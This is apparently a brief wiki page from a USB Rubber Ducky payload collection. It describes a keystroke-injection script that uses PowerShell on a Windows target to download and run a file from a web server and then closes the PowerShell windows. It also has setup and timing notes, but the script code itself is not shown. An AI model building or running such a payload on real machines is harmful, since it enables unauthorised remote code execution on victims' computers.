wiki-rubber-ducky-usb/Payload---Windows-10-:-Download-and-execute-file-with-Powershell.md

A ducky script that uses the powershell to download and execute a file from a webserver, then close all powershell windows (with another powershell). Intended for use with windows 10 target, but probably works with Windows 7 and 8.

Change the link and what name to save the file as.

Execution time: 5-8 seconds (delays will need to be modified based on target machine speed)
